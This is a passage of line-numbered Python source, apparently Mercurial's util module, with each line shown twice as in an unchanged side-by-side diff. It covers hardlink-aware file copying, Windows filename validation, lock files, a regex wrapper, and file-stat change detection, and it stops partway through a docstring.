1873 # a whilelist of known filesystems where hardlink works reliably
1874 _hardlinkfswhitelist = {
1874 _hardlinkfswhitelist = {
1875 b'apfs',
1875 b'apfs',
1876 b'btrfs',
1876 b'btrfs',
1877 b'ext2',
1877 b'ext2',
1878 b'ext3',
1878 b'ext3',
1879 b'ext4',
1879 b'ext4',
1880 b'hfs',
1880 b'hfs',
1881 b'jfs',
1881 b'jfs',
1882 b'NTFS',
1882 b'NTFS',
1883 b'reiserfs',
1883 b'reiserfs',
1884 b'tmpfs',
1884 b'tmpfs',
1885 b'ufs',
1885 b'ufs',
1886 b'xfs',
1886 b'xfs',
1887 b'zfs',
1887 b'zfs',
1888 }
1888 }
1889
1889
1890
1890
1891 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1891 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1892 '''copy a file, preserving mode and optionally other stat info like
1892 '''copy a file, preserving mode and optionally other stat info like
1893 atime/mtime
1893 atime/mtime
1894
1894
1895 checkambig argument is used with filestat, and is useful only if
1895 checkambig argument is used with filestat, and is useful only if
1896 destination file is guarded by any lock (e.g. repo.lock or
1896 destination file is guarded by any lock (e.g. repo.lock or
1897 repo.wlock).
1897 repo.wlock).
1898
1898
1899 copystat and checkambig should be exclusive.
1899 copystat and checkambig should be exclusive.
1900 '''
1900 '''
1901 assert not (copystat and checkambig)
1901 assert not (copystat and checkambig)
1902 oldstat = None
1902 oldstat = None
1903 if os.path.lexists(dest):
1903 if os.path.lexists(dest):
1904 if checkambig:
1904 if checkambig:
1905 oldstat = checkambig and filestat.frompath(dest)
1905 oldstat = checkambig and filestat.frompath(dest)
1906 unlink(dest)
1906 unlink(dest)
1907 if hardlink:
1907 if hardlink:
1908 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1908 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1909 # unless we are confident that dest is on a whitelisted filesystem.
1909 # unless we are confident that dest is on a whitelisted filesystem.
1910 try:
1910 try:
1911 fstype = getfstype(os.path.dirname(dest))
1911 fstype = getfstype(os.path.dirname(dest))
1912 except OSError:
1912 except OSError:
1913 fstype = None
1913 fstype = None
1914 if fstype not in _hardlinkfswhitelist:
1914 if fstype not in _hardlinkfswhitelist:
1915 hardlink = False
1915 hardlink = False
1916 if hardlink:
1916 if hardlink:
1917 try:
1917 try:
1918 oslink(src, dest)
1918 oslink(src, dest)
1919 return
1919 return
1920 except (IOError, OSError):
1920 except (IOError, OSError):
1921 pass # fall back to normal copy
1921 pass # fall back to normal copy
1922 if os.path.islink(src):
1922 if os.path.islink(src):
1923 os.symlink(os.readlink(src), dest)
1923 os.symlink(os.readlink(src), dest)
1924 # copytime is ignored for symlinks, but in general copytime isn't needed
1924 # copytime is ignored for symlinks, but in general copytime isn't needed
1925 # for them anyway
1925 # for them anyway
1926 else:
1926 else:
1927 try:
1927 try:
1928 shutil.copyfile(src, dest)
1928 shutil.copyfile(src, dest)
1929 if copystat:
1929 if copystat:
1930 # copystat also copies mode
1930 # copystat also copies mode
1931 shutil.copystat(src, dest)
1931 shutil.copystat(src, dest)
1932 else:
1932 else:
1933 shutil.copymode(src, dest)
1933 shutil.copymode(src, dest)
1934 if oldstat and oldstat.stat:
1934 if oldstat and oldstat.stat:
1935 newstat = filestat.frompath(dest)
1935 newstat = filestat.frompath(dest)
1936 if newstat.isambig(oldstat):
1936 if newstat.isambig(oldstat):
1937 # stat of copied file is ambiguous to original one
1937 # stat of copied file is ambiguous to original one
1938 advanced = (
1938 advanced = (
1939 oldstat.stat[stat.ST_MTIME] + 1
1939 oldstat.stat[stat.ST_MTIME] + 1
1940 ) & 0x7FFFFFFF
1940 ) & 0x7FFFFFFF
1941 os.utime(dest, (advanced, advanced))
1941 os.utime(dest, (advanced, advanced))
1942 except shutil.Error as inst:
1942 except shutil.Error as inst:
1943 raise error.Abort(stringutil.forcebytestr(inst))
1943 raise error.Abort(stringutil.forcebytestr(inst))
1944
1944
1945
1945
1946 def copyfiles(src, dst, hardlink=None, progress=None):
1946 def copyfiles(src, dst, hardlink=None, progress=None):
1947 """Copy a directory tree using hardlinks if possible."""
1947 """Copy a directory tree using hardlinks if possible."""
1948 num = 0
1948 num = 0
1949
1949
1950 def settopic():
1950 def settopic():
1951 if progress:
1951 if progress:
1952 progress.topic = _(b'linking') if hardlink else _(b'copying')
1952 progress.topic = _(b'linking') if hardlink else _(b'copying')
1953
1953
1954 if os.path.isdir(src):
1954 if os.path.isdir(src):
1955 if hardlink is None:
1955 if hardlink is None:
1956 hardlink = (
1956 hardlink = (
1957 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
1957 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
1958 )
1958 )
1959 settopic()
1959 settopic()
1960 os.mkdir(dst)
1960 os.mkdir(dst)
1961 for name, kind in listdir(src):
1961 for name, kind in listdir(src):
1962 srcname = os.path.join(src, name)
1962 srcname = os.path.join(src, name)
1963 dstname = os.path.join(dst, name)
1963 dstname = os.path.join(dst, name)
1964 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1964 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1965 num += n
1965 num += n
1966 else:
1966 else:
1967 if hardlink is None:
1967 if hardlink is None:
1968 hardlink = (
1968 hardlink = (
1969 os.stat(os.path.dirname(src)).st_dev
1969 os.stat(os.path.dirname(src)).st_dev
1970 == os.stat(os.path.dirname(dst)).st_dev
1970 == os.stat(os.path.dirname(dst)).st_dev
1971 )
1971 )
1972 settopic()
1972 settopic()
1973
1973
1974 if hardlink:
1974 if hardlink:
1975 try:
1975 try:
1976 oslink(src, dst)
1976 oslink(src, dst)
1977 except (IOError, OSError):
1977 except (IOError, OSError):
1978 hardlink = False
1978 hardlink = False
1979 shutil.copy(src, dst)
1979 shutil.copy(src, dst)
1980 else:
1980 else:
1981 shutil.copy(src, dst)
1981 shutil.copy(src, dst)
1982 num += 1
1982 num += 1
1983 if progress:
1983 if progress:
1984 progress.increment()
1984 progress.increment()
1985
1985
1986 return hardlink, num
1986 return hardlink, num
1987
1987
1988
1988
1989 _winreservednames = {
1989 _winreservednames = {
1990 b'con',
1990 b'con',
1991 b'prn',
1991 b'prn',
1992 b'aux',
1992 b'aux',
1993 b'nul',
1993 b'nul',
1994 b'com1',
1994 b'com1',
1995 b'com2',
1995 b'com2',
1996 b'com3',
1996 b'com3',
1997 b'com4',
1997 b'com4',
1998 b'com5',
1998 b'com5',
1999 b'com6',
1999 b'com6',
2000 b'com7',
2000 b'com7',
2001 b'com8',
2001 b'com8',
2002 b'com9',
2002 b'com9',
2003 b'lpt1',
2003 b'lpt1',
2004 b'lpt2',
2004 b'lpt2',
2005 b'lpt3',
2005 b'lpt3',
2006 b'lpt4',
2006 b'lpt4',
2007 b'lpt5',
2007 b'lpt5',
2008 b'lpt6',
2008 b'lpt6',
2009 b'lpt7',
2009 b'lpt7',
2010 b'lpt8',
2010 b'lpt8',
2011 b'lpt9',
2011 b'lpt9',
2012 }
2012 }
2013 _winreservedchars = b':*?"<>|'
2013 _winreservedchars = b':*?"<>|'
2014
2014
2015
2015
2016 def checkwinfilename(path):
2016 def checkwinfilename(path):
2017 r'''Check that the base-relative path is a valid filename on Windows.
2017 r'''Check that the base-relative path is a valid filename on Windows.
2018 Returns None if the path is ok, or a UI string describing the problem.
2018 Returns None if the path is ok, or a UI string describing the problem.
2019
2019
2020 >>> checkwinfilename(b"just/a/normal/path")
2020 >>> checkwinfilename(b"just/a/normal/path")
2021 >>> checkwinfilename(b"foo/bar/con.xml")
2021 >>> checkwinfilename(b"foo/bar/con.xml")
2022 "filename contains 'con', which is reserved on Windows"
2022 "filename contains 'con', which is reserved on Windows"
2023 >>> checkwinfilename(b"foo/con.xml/bar")
2023 >>> checkwinfilename(b"foo/con.xml/bar")
2024 "filename contains 'con', which is reserved on Windows"
2024 "filename contains 'con', which is reserved on Windows"
2025 >>> checkwinfilename(b"foo/bar/xml.con")
2025 >>> checkwinfilename(b"foo/bar/xml.con")
2026 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
2026 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
2027 "filename contains 'AUX', which is reserved on Windows"
2027 "filename contains 'AUX', which is reserved on Windows"
2028 >>> checkwinfilename(b"foo/bar/bla:.txt")
2028 >>> checkwinfilename(b"foo/bar/bla:.txt")
2029 "filename contains ':', which is reserved on Windows"
2029 "filename contains ':', which is reserved on Windows"
2030 >>> checkwinfilename(b"foo/bar/b\07la.txt")
2030 >>> checkwinfilename(b"foo/bar/b\07la.txt")
2031 "filename contains '\\x07', which is invalid on Windows"
2031 "filename contains '\\x07', which is invalid on Windows"
2032 >>> checkwinfilename(b"foo/bar/bla ")
2032 >>> checkwinfilename(b"foo/bar/bla ")
2033 "filename ends with ' ', which is not allowed on Windows"
2033 "filename ends with ' ', which is not allowed on Windows"
2034 >>> checkwinfilename(b"../bar")
2034 >>> checkwinfilename(b"../bar")
2035 >>> checkwinfilename(b"foo\\")
2035 >>> checkwinfilename(b"foo\\")
2036 "filename ends with '\\', which is invalid on Windows"
2036 "filename ends with '\\', which is invalid on Windows"
2037 >>> checkwinfilename(b"foo\\/bar")
2037 >>> checkwinfilename(b"foo\\/bar")
2038 "directory name ends with '\\', which is invalid on Windows"
2038 "directory name ends with '\\', which is invalid on Windows"
2039 '''
2039 '''
2040 if path.endswith(b'\\'):
2040 if path.endswith(b'\\'):
2041 return _(b"filename ends with '\\', which is invalid on Windows")
2041 return _(b"filename ends with '\\', which is invalid on Windows")
2042 if b'\\/' in path:
2042 if b'\\/' in path:
2043 return _(b"directory name ends with '\\', which is invalid on Windows")
2043 return _(b"directory name ends with '\\', which is invalid on Windows")
2044 for n in path.replace(b'\\', b'/').split(b'/'):
2044 for n in path.replace(b'\\', b'/').split(b'/'):
2045 if not n:
2045 if not n:
2046 continue
2046 continue
2047 for c in _filenamebytestr(n):
2047 for c in _filenamebytestr(n):
2048 if c in _winreservedchars:
2048 if c in _winreservedchars:
2049 return (
2049 return (
2050 _(
2050 _(
2051 b"filename contains '%s', which is reserved "
2051 b"filename contains '%s', which is reserved "
2052 b"on Windows"
2052 b"on Windows"
2053 )
2053 )
2054 % c
2054 % c
2055 )
2055 )
2056 if ord(c) <= 31:
2056 if ord(c) <= 31:
2057 return _(
2057 return _(
2058 b"filename contains '%s', which is invalid on Windows"
2058 b"filename contains '%s', which is invalid on Windows"
2059 ) % stringutil.escapestr(c)
2059 ) % stringutil.escapestr(c)
2060 base = n.split(b'.')[0]
2060 base = n.split(b'.')[0]
2061 if base and base.lower() in _winreservednames:
2061 if base and base.lower() in _winreservednames:
2062 return (
2062 return (
2063 _(b"filename contains '%s', which is reserved on Windows")
2063 _(b"filename contains '%s', which is reserved on Windows")
2064 % base
2064 % base
2065 )
2065 )
2066 t = n[-1:]
2066 t = n[-1:]
2067 if t in b'. ' and n not in b'..':
2067 if t in b'. ' and n not in b'..':
2068 return (
2068 return (
2069 _(
2069 _(
2070 b"filename ends with '%s', which is not allowed "
2070 b"filename ends with '%s', which is not allowed "
2071 b"on Windows"
2071 b"on Windows"
2072 )
2072 )
2073 % t
2073 % t
2074 )
2074 )
2075
2075
2076
2076
2077 timer = getattr(time, "perf_counter", None)
2077 timer = getattr(time, "perf_counter", None)
2078
2078
2079 if pycompat.iswindows:
2079 if pycompat.iswindows:
2080 checkosfilename = checkwinfilename
2080 checkosfilename = checkwinfilename
2081 if not timer:
2081 if not timer:
2082 timer = time.clock
2082 timer = time.clock
2083 else:
2083 else:
2084 # mercurial.windows doesn't have platform.checkosfilename
2084 # mercurial.windows doesn't have platform.checkosfilename
2085 checkosfilename = platform.checkosfilename # pytype: disable=module-attr
2085 checkosfilename = platform.checkosfilename # pytype: disable=module-attr
2086 if not timer:
2086 if not timer:
2087 timer = time.time
2087 timer = time.time
2088
2088
2089
2089
2090 def makelock(info, pathname):
2090 def makelock(info, pathname):
2091 """Create a lock file atomically if possible
2091 """Create a lock file atomically if possible
2092
2092
2093 This may leave a stale lock file if symlink isn't supported and signal
2093 This may leave a stale lock file if symlink isn't supported and signal
2094 interrupt is enabled.
2094 interrupt is enabled.
2095 """
2095 """
2096 try:
2096 try:
2097 return os.symlink(info, pathname)
2097 return os.symlink(info, pathname)
2098 except OSError as why:
2098 except OSError as why:
2099 if why.errno == errno.EEXIST:
2099 if why.errno == errno.EEXIST:
2100 raise
2100 raise
2101 except AttributeError: # no symlink in os
2101 except AttributeError: # no symlink in os
2102 pass
2102 pass
2103
2103
2104 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
2104 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
2105 ld = os.open(pathname, flags)
2105 ld = os.open(pathname, flags)
2106 os.write(ld, info)
2106 os.write(ld, info)
2107 os.close(ld)
2107 os.close(ld)
2108
2108
2109
2109
2110 def readlock(pathname):
2110 def readlock(pathname):
2111 try:
2111 try:
2112 return readlink(pathname)
2112 return readlink(pathname)
2113 except OSError as why:
2113 except OSError as why:
2114 if why.errno not in (errno.EINVAL, errno.ENOSYS):
2114 if why.errno not in (errno.EINVAL, errno.ENOSYS):
2115 raise
2115 raise
2116 except AttributeError: # no symlink in os
2116 except AttributeError: # no symlink in os
2117 pass
2117 pass
2118 with posixfile(pathname, b'rb') as fp:
2118 with posixfile(pathname, b'rb') as fp:
2119 return fp.read()
2119 return fp.read()
2120
2120
2121
2121
2122 def fstat(fp):
2122 def fstat(fp):
2123 '''stat file object that may not have fileno method.'''
2123 '''stat file object that may not have fileno method.'''
2124 try:
2124 try:
2125 return os.fstat(fp.fileno())
2125 return os.fstat(fp.fileno())
2126 except AttributeError:
2126 except AttributeError:
2127 return os.stat(fp.name)
2127 return os.stat(fp.name)
2128
2128
2129
2129
2130 # File system features
2130 # File system features
2131
2131
2132
2132
2133 def fscasesensitive(path):
2133 def fscasesensitive(path):
2134 """
2134 """
2135 Return true if the given path is on a case-sensitive filesystem
2135 Return true if the given path is on a case-sensitive filesystem
2136
2136
2137 Requires a path (like /foo/.hg) ending with a foldable final
2137 Requires a path (like /foo/.hg) ending with a foldable final
2138 directory component.
2138 directory component.
2139 """
2139 """
2140 s1 = os.lstat(path)
2140 s1 = os.lstat(path)
2141 d, b = os.path.split(path)
2141 d, b = os.path.split(path)
2142 b2 = b.upper()
2142 b2 = b.upper()
2143 if b == b2:
2143 if b == b2:
2144 b2 = b.lower()
2144 b2 = b.lower()
2145 if b == b2:
2145 if b == b2:
2146 return True # no evidence against case sensitivity
2146 return True # no evidence against case sensitivity
2147 p2 = os.path.join(d, b2)
2147 p2 = os.path.join(d, b2)
2148 try:
2148 try:
2149 s2 = os.lstat(p2)
2149 s2 = os.lstat(p2)
2150 if s2 == s1:
2150 if s2 == s1:
2151 return False
2151 return False
2152 return True
2152 return True
2153 except OSError:
2153 except OSError:
2154 return True
2154 return True
2155
2155
2156
2156
2157 try:
2157 try:
2158 import re2 # pytype: disable=import-error
2158 import re2 # pytype: disable=import-error
2159
2159
2160 _re2 = None
2160 _re2 = None
2161 except ImportError:
2161 except ImportError:
2162 _re2 = False
2162 _re2 = False
2163
2163
2164
2164
2165 class _re(object):
2165 class _re(object):
2166 def _checkre2(self):
2166 def _checkre2(self):
2167 global _re2
2167 global _re2
2168 try:
2168 try:
2169 # check if match works, see issue3964
2169 # check if match works, see issue3964
2170 _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
2170 _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
2171 except ImportError:
2171 except ImportError:
2172 _re2 = False
2172 _re2 = False
2173
2173
2174 def compile(self, pat, flags=0):
2174 def compile(self, pat, flags=0):
2175 '''Compile a regular expression, using re2 if possible
2175 '''Compile a regular expression, using re2 if possible
2176
2176
2177 For best performance, use only re2-compatible regexp features. The
2177 For best performance, use only re2-compatible regexp features. The
2178 only flags from the re module that are re2-compatible are
2178 only flags from the re module that are re2-compatible are
2179 IGNORECASE and MULTILINE.'''
2179 IGNORECASE and MULTILINE.'''
2180 if _re2 is None:
2180 if _re2 is None:
2181 self._checkre2()
2181 self._checkre2()
2182 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2182 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2183 if flags & remod.IGNORECASE:
2183 if flags & remod.IGNORECASE:
2184 pat = b'(?i)' + pat
2184 pat = b'(?i)' + pat
2185 if flags & remod.MULTILINE:
2185 if flags & remod.MULTILINE:
2186 pat = b'(?m)' + pat
2186 pat = b'(?m)' + pat
2187 try:
2187 try:
2188 return re2.compile(pat)
2188 return re2.compile(pat)
2189 except re2.error:
2189 except re2.error:
2190 pass
2190 pass
2191 return remod.compile(pat, flags)
2191 return remod.compile(pat, flags)
2192
2192
2193 @propertycache
2193 @propertycache
2194 def escape(self):
2194 def escape(self):
2195 '''Return the version of escape corresponding to self.compile.
2195 '''Return the version of escape corresponding to self.compile.
2196
2196
2197 This is imperfect because whether re2 or re is used for a particular
2197 This is imperfect because whether re2 or re is used for a particular
2198 function depends on the flags, etc, but it's the best we can do.
2198 function depends on the flags, etc, but it's the best we can do.
2199 '''
2199 '''
2200 global _re2
2200 global _re2
2201 if _re2 is None:
2201 if _re2 is None:
2202 self._checkre2()
2202 self._checkre2()
2203 if _re2:
2203 if _re2:
2204 return re2.escape
2204 return re2.escape
2205 else:
2205 else:
2206 return remod.escape
2206 return remod.escape
2207
2207
2208
2208
2209 re = _re()
2209 re = _re()
2210
2210
2211 _fspathcache = {}
2211 _fspathcache = {}
2212
2212
2213
2213
2214 def fspath(name, root):
2214 def fspath(name, root):
2215 '''Get name in the case stored in the filesystem
2215 '''Get name in the case stored in the filesystem
2216
2216
2217 The name should be relative to root, and be normcase-ed for efficiency.
2217 The name should be relative to root, and be normcase-ed for efficiency.
2218
2218
2219 Note that this function is unnecessary, and should not be
2219 Note that this function is unnecessary, and should not be
2220 called, for case-sensitive filesystems (simply because it's expensive).
2220 called, for case-sensitive filesystems (simply because it's expensive).
2221
2221
2222 The root should be normcase-ed, too.
2222 The root should be normcase-ed, too.
2223 '''
2223 '''
2224
2224
2225 def _makefspathcacheentry(dir):
2225 def _makefspathcacheentry(dir):
2226 return {normcase(n): n for n in os.listdir(dir)}
2226 return {normcase(n): n for n in os.listdir(dir)}
2227
2227
2228 seps = pycompat.ossep
2228 seps = pycompat.ossep
2229 if pycompat.osaltsep:
2229 if pycompat.osaltsep:
2230 seps = seps + pycompat.osaltsep
2230 seps = seps + pycompat.osaltsep
2231 # Protect backslashes. This gets silly very quickly.
2231 # Protect backslashes. This gets silly very quickly.
2232 seps.replace(b'\\', b'\\\\')
2232 seps.replace(b'\\', b'\\\\')
2233 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2233 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2234 dir = os.path.normpath(root)
2234 dir = os.path.normpath(root)
2235 result = []
2235 result = []
2236 for part, sep in pattern.findall(name):
2236 for part, sep in pattern.findall(name):
2237 if sep:
2237 if sep:
2238 result.append(sep)
2238 result.append(sep)
2239 continue
2239 continue
2240
2240
2241 if dir not in _fspathcache:
2241 if dir not in _fspathcache:
2242 _fspathcache[dir] = _makefspathcacheentry(dir)
2242 _fspathcache[dir] = _makefspathcacheentry(dir)
2243 contents = _fspathcache[dir]
2243 contents = _fspathcache[dir]
2244
2244
2245 found = contents.get(part)
2245 found = contents.get(part)
2246 if not found:
2246 if not found:
2247 # retry "once per directory" per "dirstate.walk" which
2247 # retry "once per directory" per "dirstate.walk" which
2248 # may take place for each patches of "hg qpush", for example
2248 # may take place for each patches of "hg qpush", for example
2249 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2249 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2250 found = contents.get(part)
2250 found = contents.get(part)
2251
2251
2252 result.append(found or part)
2252 result.append(found or part)
2253 dir = os.path.join(dir, part)
2253 dir = os.path.join(dir, part)
2254
2254
2255 return b''.join(result)
2255 return b''.join(result)
2256
2256
2257
2257
2258 def checknlink(testfile):
2258 def checknlink(testfile):
2259 '''check whether hardlink count reporting works properly'''
2259 '''check whether hardlink count reporting works properly'''
2260
2260
2261 # testfile may be open, so we need a separate file for checking to
2261 # testfile may be open, so we need a separate file for checking to
2262 # work around issue2543 (or testfile may get lost on Samba shares)
2262 # work around issue2543 (or testfile may get lost on Samba shares)
2263 f1, f2, fp = None, None, None
2263 f1, f2, fp = None, None, None
2264 try:
2264 try:
2265 fd, f1 = pycompat.mkstemp(
2265 fd, f1 = pycompat.mkstemp(
2266 prefix=b'.%s-' % os.path.basename(testfile),
2266 prefix=b'.%s-' % os.path.basename(testfile),
2267 suffix=b'1~',
2267 suffix=b'1~',
2268 dir=os.path.dirname(testfile),
2268 dir=os.path.dirname(testfile),
2269 )
2269 )
2270 os.close(fd)
2270 os.close(fd)
2271 f2 = b'%s2~' % f1[:-2]
2271 f2 = b'%s2~' % f1[:-2]
2272
2272
2273 oslink(f1, f2)
2273 oslink(f1, f2)
2274 # nlinks() may behave differently for files on Windows shares if
2274 # nlinks() may behave differently for files on Windows shares if
2275 # the file is open.
2275 # the file is open.
2276 fp = posixfile(f2)
2276 fp = posixfile(f2)
2277 return nlinks(f2) > 1
2277 return nlinks(f2) > 1
2278 except OSError:
2278 except OSError:
2279 return False
2279 return False
2280 finally:
2280 finally:
2281 if fp is not None:
2281 if fp is not None:
2282 fp.close()
2282 fp.close()
2283 for f in (f1, f2):
2283 for f in (f1, f2):
2284 try:
2284 try:
2285 if f is not None:
2285 if f is not None:
2286 os.unlink(f)
2286 os.unlink(f)
2287 except OSError:
2287 except OSError:
2288 pass
2288 pass
2289
2289
2290
2290
2291 def endswithsep(path):
2291 def endswithsep(path):
2292 '''Check path ends with os.sep or os.altsep.'''
2292 '''Check path ends with os.sep or os.altsep.'''
2293 return (
2293 return (
2294 path.endswith(pycompat.ossep)
2294 path.endswith(pycompat.ossep)
2295 or pycompat.osaltsep
2295 or pycompat.osaltsep
2296 and path.endswith(pycompat.osaltsep)
2296 and path.endswith(pycompat.osaltsep)
2297 )
2297 )
2298
2298
2299
2299
2300 def splitpath(path):
2300 def splitpath(path):
2301 '''Split path by os.sep.
2301 '''Split path by os.sep.
2302 Note that this function does not use os.altsep because this is
2302 Note that this function does not use os.altsep because this is
2303 an alternative of simple "xxx.split(os.sep)".
2303 an alternative of simple "xxx.split(os.sep)".
2304 It is recommended to use os.path.normpath() before using this
2304 It is recommended to use os.path.normpath() before using this
2305 function if need.'''
2305 function if need.'''
2306 return path.split(pycompat.ossep)
2306 return path.split(pycompat.ossep)
2307
2307
2308
2308
2309 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
2309 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
2310 """Create a temporary file with the same contents from name
2310 """Create a temporary file with the same contents from name
2311
2311
2312 The permission bits are copied from the original file.
2312 The permission bits are copied from the original file.
2313
2313
2314 If the temporary file is going to be truncated immediately, you
2314 If the temporary file is going to be truncated immediately, you
2315 can use emptyok=True as an optimization.
2315 can use emptyok=True as an optimization.
2316
2316
2317 Returns the name of the temporary file.
2317 Returns the name of the temporary file.
2318 """
2318 """
2319 d, fn = os.path.split(name)
2319 d, fn = os.path.split(name)
2320 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
2320 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
2321 os.close(fd)
2321 os.close(fd)
2322 # Temporary files are created with mode 0600, which is usually not
2322 # Temporary files are created with mode 0600, which is usually not
2323 # what we want. If the original file already exists, just copy
2323 # what we want. If the original file already exists, just copy
2324 # its mode. Otherwise, manually obey umask.
2324 # its mode. Otherwise, manually obey umask.
2325 copymode(name, temp, createmode, enforcewritable)
2325 copymode(name, temp, createmode, enforcewritable)
2326
2326
2327 if emptyok:
2327 if emptyok:
2328 return temp
2328 return temp
2329 try:
2329 try:
2330 try:
2330 try:
2331 ifp = posixfile(name, b"rb")
2331 ifp = posixfile(name, b"rb")
2332 except IOError as inst:
2332 except IOError as inst:
2333 if inst.errno == errno.ENOENT:
2333 if inst.errno == errno.ENOENT:
2334 return temp
2334 return temp
2335 if not getattr(inst, 'filename', None):
2335 if not getattr(inst, 'filename', None):
2336 inst.filename = name
2336 inst.filename = name
2337 raise
2337 raise
2338 ofp = posixfile(temp, b"wb")
2338 ofp = posixfile(temp, b"wb")
2339 for chunk in filechunkiter(ifp):
2339 for chunk in filechunkiter(ifp):
2340 ofp.write(chunk)
2340 ofp.write(chunk)
2341 ifp.close()
2341 ifp.close()
2342 ofp.close()
2342 ofp.close()
2343 except: # re-raises
2343 except: # re-raises
2344 try:
2344 try:
2345 os.unlink(temp)
2345 os.unlink(temp)
2346 except OSError:
2346 except OSError:
2347 pass
2347 pass
2348 raise
2348 raise
2349 return temp
2349 return temp
2350
2350
2351
2351
2352 class filestat(object):
2352 class filestat(object):
2353 """help to exactly detect change of a file
2353 """help to exactly detect change of a file
2354
2354
2355 'stat' attribute is result of 'os.stat()' if specified 'path'
2355 'stat' attribute is result of 'os.stat()' if specified 'path'
2356 exists. Otherwise, it is None. This can avoid preparative
2356 exists. Otherwise, it is None. This can avoid preparative
2357 'exists()' examination on client side of this class.
2357 'exists()' examination on client side of this class.
2358 """
2358 """
2359
2359
2360 def __init__(self, stat):
2360 def __init__(self, stat):
2361 self.stat = stat
2361 self.stat = stat
2362
2362
2363 @classmethod
2363 @classmethod
2364 def frompath(cls, path):
2364 def frompath(cls, path):
2365 try:
2365 try:
2366 stat = os.stat(path)
2366 stat = os.stat(path)
2367 except OSError as err:
2367 except OSError as err:
2368 if err.errno != errno.ENOENT:
2368 if err.errno != errno.ENOENT:
2369 raise
2369 raise
2370 stat = None
2370 stat = None
2371 return cls(stat)
2371 return cls(stat)
2372
2372
2373 @classmethod
2373 @classmethod
2374 def fromfp(cls, fp):
2374 def fromfp(cls, fp):
2375 stat = os.fstat(fp.fileno())
2375 stat = os.fstat(fp.fileno())
2376 return cls(stat)
2376 return cls(stat)
2377
2377
2378 __hash__ = object.__hash__
2378 __hash__ = object.__hash__
2379
2379
2380 def __eq__(self, old):
2380 def __eq__(self, old):
2381 try:
2381 try:
2382 # if ambiguity between stat of new and old file is
2382 # if ambiguity between stat of new and old file is
2383 # avoided, comparison of size, ctime and mtime is enough
2383 # avoided, comparison of size, ctime and mtime is enough
2384 # to exactly detect change of a file regardless of platform
2384 # to exactly detect change of a file regardless of platform
2385 return (
2385 return (
2386 self.stat.st_size == old.stat.st_size
2386 self.stat.st_size == old.stat.st_size
2387 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2387 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2388 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
2388 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
2389 )
2389 )
2390 except AttributeError:
2390 except AttributeError:
2391 pass
2391 pass
2392 try:
2392 try:
2393 return self.stat is None and old.stat is None
2393 return self.stat is None and old.stat is None
2394 except AttributeError:
2394 except AttributeError:
2395 return False
2395 return False
2396
2396
2397 def isambig(self, old):
2397 def isambig(self, old):
2398 """Examine whether new (= self) stat is ambiguous against old one
2398 """Examine whether new (= self) stat is ambiguous against old one
2399
2399
2400 "S[N]" below means stat of a file at N-th change:
2400 "S[N]" below means stat of a file at N-th change:
2401
2401
2402 - S[n-1].ctime < S[n].ctime: can detect change of a file
2402 - S[n-1].ctime < S[n].ctime: can detect change of a file
2403 - S[n-1].ctime == S[n].ctime
2403 - S[n-1].ctime == S[n].ctime
2404 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2404 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2405 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2405 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2406 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2406 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2407 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2407 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2408
2408
2409 Case (*2) above means that a file was changed twice or more at
2409 Case (*2) above means that a file was changed twice or more at
2410 same time in sec (= S[n-1].ctime), and comparison of timestamp
2410 same time in sec (= S[n-1].ctime), and comparison of timestamp
2411 is ambiguous.
2411 is ambiguous.
2412
2412
2413 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2413 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2414 timestamp is ambiguous".
2414 timestamp is ambiguous".
2415
2415
2416 But advancing mtime only in case (*2) doesn't work as
2416 But advancing mtime only in case (*2) doesn't work as
2417 expected, because naturally advanced S[n].mtime in case (*1)
2417 expected, because naturally advanced S[n].mtime in case (*1)
2418 might be equal to manually advanced S[n-1 or earlier].mtime.
2418 might be equal to manually advanced S[n-1 or earlier].mtime.
2419
2419
2420 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2420 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2421 treated as ambiguous regardless of mtime, to avoid overlooking
2421 treated as ambiguous regardless of mtime, to avoid overlooking
2422 by confliction between such mtime.
2422 by confliction between such mtime.
2423
2423
2424 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2424 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2425 S[n].mtime", even if size of a file isn't changed.
2425 S[n].mtime", even if size of a file isn't changed.
